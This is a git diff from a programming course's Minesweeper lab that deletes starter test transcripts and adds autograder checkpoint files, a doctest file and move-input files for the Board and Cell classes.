-"""
-
-"""
-Test Case 6 - Results
-
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 00f
-Mines: 9
- 0123456789
-0 FXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 11f
-Mines: 8
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 22f
-Mines: 7
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 33f
-Mines: 6
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 44f
-Mines: 5
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 55f
-Mines: 4
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 66f
-Mines: 3
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 77f
-Mines: 2
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 88f
-Mines: 1
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXXFX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 99f
-Mines: 0
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXXFX 8
-9 XXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 55
-Mines: 0
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXXFX 8
-9 XXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 33
-Mines: 0
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXXFX 8
-9 XXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 54f
-You have already flagged all your mines.
-Mines: 0
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXXFX 8
-9 XXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 45f
-You have already flagged all your mines.
-Mines: 0
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXFXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXXFX 8
-9 XXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 22f
-Mines: 1
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXFXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXXFX 8
-9 XXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 33f
-Mines: 2
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXXFX 8
-9 XXXXXXXXXF 9
- 0123456789
-Enter your move (for help enter "H"): 22
-Mines: 2
- 0123456789
-0 FXXXXXXXXX 0
-1 XFXXXXXXXX 1
-2 XXMXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXFXXXXX 4
-5 XXXXXFXXXX 5
-6 XXXXXXFXXX 6
-7 XXXXXXXFXX 7
-8 XXXXXXXXFX 8
-9 XXXXXXXXXF 9
- 0123456789
-Uh oh! You blew up!
-"""
diff --git a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_6.py b/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_6.py
deleted file mode 100644
index 3359bff1..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_6.py
+++ /dev/null
@@ -1,139 +0,0 @@
-"""
-Test Case 6
-Note that user input is always after the prompt 'Enter your move (for help enter "H"): '
-"""
-
-"""
-Description: Just showing cells, eventual loss
-SIZE = 10, MINES = 10, random.seed(1)
-"""
-
-"""
-Test Case 1: Results
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 55
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXX1XXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 33
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXX1XXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXX1XXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 66
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXX1XXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXX1XXXX 5
-6 XXXXXX2XXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 47
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXX1XXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXX1XXXX 5
-6 XXXXXX2XXX 6
-7 XXXX2XXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 89
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXX2222X 2
-3 XXX1X1 11 3
-4 XXXXX1 4
-5 XXXXX1211 5
-6 XXXXXX2X1 6
-7 112X21211 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 30
-Mines: 10
- 0123456789
-0 1XXXX 0
-1 1XXXX 1
-2 112222X 2
-3 1X1 11 3
-4 112X1 4
-5 12XXX1211 5
-6 XXXXXX2X1 6
-7 112X21211 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 26
-Mines: 10
- 0123456789
-0 1XXXX 0
-1 1XXXX 1
-2 112222X 2
-3 1X1 11 3
-4 112X1 4
-5 12XXX1211 5
-6 XX3XXX2X1 6
-7 112X21211 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 71
-Mines: 10
- 0123456789
-0 1XXXX 0
-1 1XMXX 1
-2 112222X 2
-3 1X1 11 3
-4 112X1 4
-5 12XXX1211 5
-6 XX3XXX2X1 6
-7 112X21211 7
-8 111 8
-9 9
- 0123456789
-Uh oh! You blew up!
-"""
diff --git a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_7.py b/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_7.py
deleted file mode 100644
index 734c507e..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_7.py
+++ /dev/null
@@ -1,476 +0,0 @@
-"""
-Test Case 7
-Note that user input is always after the prompt 'Enter your move (for help enter "H"): '
-"""
-
-"""
-Description: Showing and flagging cells en route to a victory.
-SIZE = 10, MINES = 10, random.seed(6)
-
-"""
-"""
-Test Case 7 - Results
-
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXXXXXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 34
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXXXXXX 3
-4 XXX2XXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 63
-Mines: 10
- 0123456789
-0 XXXXXXXXXX 0
-1 XXXXXXXXXX 1
-2 XXXXXXXXXX 2
-3 XXXXXX1XXX 3
-4 XXX2XXXXXX 4
-5 XXXXXXXXXX 5
-6 XXXXXXXXXX 6
-7 XXXXXXXXXX 7
-8 XXXXXXXXXX 8
-9 XXXXXXXXXX 9
- 0123456789
-Enter your move (for help enter "H"): 78
-Mines: 10
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XX1 4
-5 1XXXX21 5
-6 13XXXX1 6
-7 2X2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 37f
-Mines: 9
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XX1 4
-5 1XXXX21 5
-6 13XXXX1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 36f
-Mines: 8
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XX1 4
-5 1XXXX21 5
-6 13FXXX1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 46
-Mines: 8
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XX1 4
-5 1XXXX21 5
-6 13F2XX1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 56
-Mines: 8
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XX1 4
-5 1XXXX21 5
-6 13F21X1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 66f
-Mines: 7
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XX1 4
-5 1XXXX21 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 54f
-Mines: 6
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XF1 4
-5 1XXXX21 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 55
-Mines: 6
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XF1 4
-5 1XXX221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 53
-Mines: 6
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XF1 4
-5 1XXX221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 54
-Mines: 6
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XF1 4
-5 1XXX221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 35
-Mines: 6
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XF1 4
-5 1X2X221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 45
-Mines: 6
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X2XF1 4
-5 1X22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 44
-Mines: 6
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X22F1 4
-5 1X22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 25f
-Mines: 5
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 11XXX21 3
-4 1X22F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 23
-Mines: 5
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 111XX21 3
-4 1X22F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 24
-Mines: 5
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 111XX21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 33
-Mines: 5
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 1111X21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 43f
-Mines: 4
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XXXXX1 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 22
-Mines: 4
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XX1XX1 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 32
-Mines: 4
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XX11X1 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 42
-Mines: 4
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XX1111 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 12f
-Mines: 3
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 XF1111 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 02
-Mines: 3
- 0123456789
-0 XXXXX1 0
-1 XXXXX1 1
-2 2F1111 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 11
-Mines: 3
- 0123456789
-0 XXXXX1 0
-1 X3XXX1 1
-2 2F1111 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 21
-Mines: 3
- 0123456789
-0 XXXXX1 0
-1 X31XX1 1
-2 2F1111 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 31
-Mines: 3
- 0123456789
-0 XXXXX1 0
-1 X311X1 1
-2 2F1111 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 10
-Mines: 3
- 0123456789
-0 X2XXX1 0
-1 X311X1 1
-2 2F1111 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 20
-Mines: 3
- 0123456789
-0 X2 1X1 0
-1 X311X1 1
-2 2F1111 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 30
-Mines: 3
- 0123456789
-0 X2 1X1 0
-1 X311X1 1
-2 2F1111 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Enter your move (for help enter "H"): 41
-Mines: 3
- 0123456789
-0 X2 1X1 0
-1 X31111 1
-2 2F1111 2
-3 1111F21 3
-4 1122F1 4
-5 1F22221 5
-6 13F21F1 6
-7 2F2111 7
-8 111 8
-9 9
- 0123456789
-Well done! You solved the board!
-"""
diff --git a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_descriptions.txt b/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_descriptions.txt
deleted file mode 100644
index ece527ad..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Student-Starter/Overall/test_case_descriptions.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Note that these test cases should be handled in order, they scale up in difficulty.
-
-Test Case 1 (test_case_1.py): instant loss
-Test Case 2 (test_case_2.py): Just flagging followed by instant loss
-Test Case 3 (test_case_3.py): Trying to show already visible cells - should have no effect - then instant loss
-Test Case 4 (test_case_4.py): Testing invalid input and help case - should have no effect on the board - then instant loss
-Test Case 5 (test_case_5.py): Flagging more than maximum number of mines and showing flagged tiles, followed by instant loss
-Test Case 6 (test_case_6.py): Just showing cells, eventual loss
-Test Case 7 (test_case_7.py): Showing and flagging cells en route to a victory.
diff --git a/Module3_Labs/Lab3_Minesweeper/checkpoints/6-checkpoint.md b/Module3_Labs/Lab3_Minesweeper/checkpoints/6-checkpoint.md
new file mode 100644
index 00000000..39488e30
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/checkpoints/6-checkpoint.md
@@ -0,0 +1,18 @@
+# name
+Checkpoint 1: `Board` and `Cell`
+
+# cards_folder
+/Module3_Labs/Lab3_Minesweeper/cards/
+# checkpoint_type
+Autograder
+
+# files_to_send
+
+main.py
+
+# instruction
+
+Please submit your code for the `Board` and `Cell` class. `main()` functions are provided to just test those classes.
+
+# test_file_location
+/Module3_Labs/Lab3_Minesweeper/tests/check1_test
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/checkpoints/9-checkpoint.md b/Module3_Labs/Lab3_Minesweeper/checkpoints/9-checkpoint.md
new file mode 100644
index 00000000..5cfaa2a4
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/checkpoints/9-checkpoint.md
@@ -0,0 +1,23 @@
+# name
+
+Checkpoint 2: `Board` and `Cell`
+
+# cards_folder
+
+/Module3_Labs/Lab3_Minesweeper/cards/
+
+# checkpoint_type
+
+Autograder
+
+# files_to_send
+
+main.py
+
+# instruction
+
+Please submit your code for the `Board` and `Cell` class. There are 7 tests provided in order of difficulty.
+
+# test_file_location
+
+/Module3_Labs/Lab3_Minesweeper/tests/main_test
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/Capture(2).PNG b/Module3_Labs/Lab3_Minesweeper/images/Capture(2).PNG
similarity index 100%
rename from Module3_Labs/Lab3_Minesweeper/Cards/Capture(2).PNG
rename to Module3_Labs/Lab3_Minesweeper/images/Capture(2).PNG
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/Capture(3).PNG b/Module3_Labs/Lab3_Minesweeper/images/Capture(3).PNG
similarity index 100%
rename from Module3_Labs/Lab3_Minesweeper/Cards/Capture(3).PNG
rename to Module3_Labs/Lab3_Minesweeper/images/Capture(3).PNG
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/Capture.PNG b/Module3_Labs/Lab3_Minesweeper/images/Capture.PNG
similarity index 100%
rename from Module3_Labs/Lab3_Minesweeper/Cards/Capture.PNG
rename to Module3_Labs/Lab3_Minesweeper/images/Capture.PNG
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/check1_test/checkpoint1.test b/Module3_Labs/Lab3_Minesweeper/tests/check1_test/checkpoint1.test
new file mode 100644
index 00000000..53a2a6b6
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/check1_test/checkpoint1.test
@@ -0,0 +1,91 @@
+>>> board = create_board(7, 9)
+>>> print(board)
+Mines: 9
+ 0123456
+0 XXXXXXX 0
+1 XXXXXXX 1
+2 XXXXXXX 2
+3 XXXXXXX 3
+4 XXXXXXX 4
+5 XXXXXXX 5
+6 XXXXXXX 6
+ 0123456
+>>> random.seed(5)
+>>> board = create_board(7, 9)
+>>> board.show(2, 3)
+>>> board.flag(4, 6)
+>>> print(board)
+Mines: 8
+ 0123456
+0 XXXXXXX 0
+1 XXXXXXX 1
+2 XXXMXXX 2
+3 XXXXXXX 3
+4 XXXXXXF 4
+5 XXXXXXX 5
+6 XXXXXXX 6
+ 0123456
+>>> random.seed(9)
+>>> board = create_board(9, 10)
+>>> board.show(3, 7)
+>>> board.flag(0, 0)
+>>> print(board)
+Mines: 9
+ 012345678
+0 F1 0
+1 X1 1
+2 X111221 2
+3 XXXXXX1 3
+4 XXXXXX21 4
+5 XXXXXXX1 5
+6 XXXXXXX2 6
+7 XXXXXXX1 7
+8 XXXXXXX1 8
+ 012345678
+>>> random.seed(9)
+>>> board = create_board(9, 10)
+>>> board.show(3, 7)
+>>> board.flag(0, 0)
+>>> board.show(4, 0)
+>>> board.show(6, 2)
+>>> board.show(7, 2)
+>>> print(board)
+Mines: 9
+ 012345678
+0 F1 0
+1 X1 1
+2 X111221 2
+3 XXXXXX1 3
+4 1XXXXX21 4
+5 XXXXXXX1 5
+6 XX1XXXX2 6
+7 XX2XXXX1 7
+8 XXXXXXX1 8
+ 012345678
+>>> random.seed(9)
+>>> board = create_board(9, 10)
+>>> board.show(3, 7)
+>>> board.flag(0, 0)
+>>> board.show(4, 0)
+>>> board.show(6, 2)
+>>> board.show(7, 2)
+>>> board.flag(7, 0)
+>>> board.show(4, 2)
+>>> board.show(8, 4)
+>>> board.show(8, 0)
+>>> print(board)
+Mines: 8
+ 012345678
+0 F1 0
+1 X1 1
+2 X111221 2
+3 XXXXXX1 3
+4 1X222321 4
+5 XXX1 1X1 5
+6 XX11 2X2 6
+7 FX21 1X1 7
+8 MXX1 1X1 8
+ 012345678
+
+
+
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/input1.txt b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input1.txt
new file mode 100644
index 00000000..f70d7bba
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input1.txt
@@ -0,0 +1 @@
+42
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/input2.txt b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input2.txt
new file mode 100644
index 00000000..ab18f8fd
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input2.txt
@@ -0,0 +1,8 @@
+54f
+78f
+99f
+90f
+00f
+09f
+77f
+27
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/input3.txt b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input3.txt
new file mode 100644
index 00000000..a5cbaaa4
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input3.txt
@@ -0,0 +1,6 @@
+54
+78
+99
+67
+54
+64
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/input4.txt b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input4.txt
new file mode 100644
index 00000000..4febd188
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input4.txt
@@ -0,0 +1,9 @@
+100
+-100
+8f4
+4561
+f43
+H12
+H
+98f
+64
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/input5.txt b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input5.txt
new file mode 100644
index 00000000..47fdc4e1
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input5.txt
@@ -0,0 +1,17 @@
+00f
+11f
+22f
+33f
+44f
+55f
+66f
+77f
+88f
+99f
+55
+33
+54f
+45f
+22f
+33f
+22
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/input6.txt b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input6.txt
new file mode 100644
index 00000000..0d361b1d
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input6.txt
@@ -0,0 +1,8 @@
+55
+33
+66
+47
+89
+30
+26
+71
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/tests/main_test/input7.txt b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input7.txt
new file mode 100644
index 00000000..215e9fad
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/tests/main_test/input7.txt
@@ -0,0 +1,32 @@
+34
+63
+78
+37f
+36f
+46
+56
+66f
+54f
+55
+53
+54
+35
+45
+44
+25f
+23
+24
+33
+43f
+22
+32
+42
+12f
+02
+11
+21
+31
+10
+20
+30
+41
\ No newline at end of file
